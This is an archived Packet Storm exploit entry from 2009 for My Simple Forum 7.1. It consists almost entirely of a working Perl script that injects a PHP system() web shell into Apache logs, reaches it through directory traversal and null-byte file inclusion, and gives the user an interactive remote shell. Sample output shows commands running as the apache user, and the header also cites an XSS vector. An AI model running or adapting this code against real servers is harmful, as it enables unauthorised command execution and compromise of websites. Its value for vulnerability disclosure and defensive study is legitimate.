My Simple Forum 7.1 Command Execution

2009-03-27T00:00:00
ID PACKETSTORM:76119
Type packetstorm
Reporter Osirys
Modified 2009-03-27T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
  
# My Simple Forum v7.1  
# Remote Command Execution Exploit (Apache Log Poisoning/Injection)  
# Local File Inclusion at /theme/default/index.template.php?action=[lf]%00  
# XSS at /theme/default/index.template.php?Name=[XSS] - This needs Register Globals ON  
# Credits to Giovanni Buzzin, "Osirys"  
# osirys[at]autistici[dot]org  
  
# ---------------------------------------------------------------------------------------  
# Exploit on Local  
# ---------------------------------------------------------------------------------------  
# osirys[~]>$ perl spl.txt http://localhost/MySimpleForum_v.7.1/  
#  
# ---------------------------------  
# My Simple Forum RCE Sploit  
# (Log Inj)  
# by Osirys  
# ---------------------------------  
#  
# [*] Injecting evil php code ..  
# [*] Cheeking for Apache Logs ..  
# [*] Apache Log Injection completed  
# [*] Path: /var/log/httpd/access_log  
# [!] Hi my master, do your job now [x]  
#  
# shell[localhost]$> pwd  
# /home/osirys/web/MySimpleForum_v.7.1  
# shell[localhost]$> id  
# uid=80(apache) gid=80(apache) groups=80(apache)  
# shell[localhost]$> exit  
# [-] Quitting ..  
#  
# osirys[~]>$  
# ---------------------------------------------------------------------------------------  
  
  
use IO::Socket::INET;  
use LWP::UserAgent;  
  
my $host = $ARGV[0];  
my $lfi_path = "/index.php?action=";  
my $null_byte = "%00";  
my $rand_a = int(rand 150);  
my $rand1 = "1337".$rand_a."1337";  
my $rand_b = int(rand 150);  
my $rand2 = "1337".$rand_b."1337";  
my $gotcha = 0;  
my $dir_trasv = "../../../../../../../../../..";  
my @logs_dirs = qw(  
/var/log/httpd/access_log  
/var/log/httpd/access.log  
/var/log/httpd/error.log  
/var/log/httpd/error_log  
/var/log/access_log  
/logs/error.log  
/logs/access.log  
/var/log/apache/error_log  
/var/log/apache/error.log  
/etc/httpd/logs/access_log  
/usr/local/apache/logs/error_log  
/etc/httpd/logs/access.log  
/etc/httpd/logs/error_log  
/etc/httpd/logs/error.log  
/usr/local/apache/logs/access_log  
/usr/local/apache/logs/access.log  
/var/www/logs/access_log  
/var/www/logs/access.log  
/var/log/apache/access_log  
/var/log/apache/access.log  
/var/log/access_log  
/var/www/logs/error_log  
/var/www/logs/error.log  
/usr/local/apache/logs/error.log  
/var/log/error_log  
/apache/logs/error.log  
/apache/logs/access.log  
);  
  
my $php_code = "<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=st".  
"ripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";  
  
($host) || help("-1");  
cheek($host) == 1 || help("-2");  
&banner;  
  
$datas = get_input($host);  
$datas =~ /(.*) (.*)/;  
($h0st,$path) = ($1,$2);  
  
  
$sock = IO::Socket::INET->new(  
PeerAddr => $h0st,  
PeerPort => 80,  
Proto => "tcp"  
) || die "Can't connect to $host:80!\n";  
  
print "[*] Injecting evil php code ..\n";  
  
  
print $sock "GET /Osirys_log_inj start0".$rand1.$php_code."0end".$rand2." HTTP/1.1\r\n";  
print $sock "Host: ".$host."\r\n";  
print $sock "Connection: close\r\n\r\n";  
close($sock);  
  
print "[*] Cheeking for Apache Logs ..\n";  
  
while (($log = <@logs_dirs>)&&($gotcha != 1)) {  
$tmp_path = $host.$lfi_path.$dir_trasv.$log.$null_byte;  
$re = get_req($tmp_path);  
if ($re =~ /Osirys_log_inj/) {  
$gotcha = 1;  
$log_path = $tmp_path;  
print "[*] Apache Log Injection completed\n";  
print "[*] Path: $log\n";  
print "[!] Hi my master, do your job now [x]\n\n";  
&exec_cmd;  
}  
}  
  
$gotcha == 1 || die "[-] Couldn't find Apache Logs\n";  
  
sub exec_cmd {  
$h0st !~ /www\./ || $h0st =~ s/www\.//;  
print "shell[$h0st]\$> ";  
$cmd = <STDIN>;  
$cmd !~ /exit/ || die "[-] Quitting ..\n\n";  
$exec_url = $log_path."&cmd=".$cmd;  
my $re = get_req($exec_url);  
my $content = tag($re);  
if ($content =~ m/start0$rand1(.+)\*0end$rand2/g) {  
my $out = $1;  
$out =~ s/\$/ /g;  
$out =~ s/\*/\n/g;  
chomp($out);  
print "$out\n";  
&exec_cmd;  
}  
else {  
$c++;  
$cmd =~ s/\n//;  
print "bash: ".$cmd.": command not found\n";  
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";  
&exec_cmd;  
}  
  
}  
  
sub get_req() {  
$link = $_[0];  
my $req = HTTP::Request->new(GET => $link);  
my $ua = LWP::UserAgent->new();  
$ua->timeout(4);  
my $response = $ua->request($req);  
return $response->content;  
}  
  
sub cheek() {  
my $host = $_[0];  
if ($host =~ /http:\/\/(.+)/) {  
return 1;  
}  
else {  
return 0;  
}  
}  
  
sub get_input() {  
my $host = $_[0];  
$host =~ /http:\/\/(.+)/;  
$s_host = $1;  
$s_host =~ /([a-z.-]{1,30})\/(.*)/;  
($h0st,$path) = ($1,$2);  
$path =~ s/(.*)/\/$1/;  
$full_det = $h0st." ".$path;  
return $full_det;  
}  
  
sub tag() {  
my $string = $_[0];  
$string =~ s/ /\$/g;  
$string =~ s/\s/\*/g;  
return($string);  
}  
  
sub banner {  
print "\n".  
" --------------------------------- \n".  
" My Simple Forum RCE Sploit \n".  
" (Log Inj) \n".  
" by Osirys \n".  
" --------------------------------- \n\n";  
}  
  
sub help() {  
my $error = $_[0];  
if ($error == -1) {  
&banner;  
print "\n[-] Input data failed ! \n";  
}  
elsif ($error == -2) {  
&banner;  
print "\n[-] Bad hostname address !\n";  
}  
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";  
exit(0);  
}  
  
`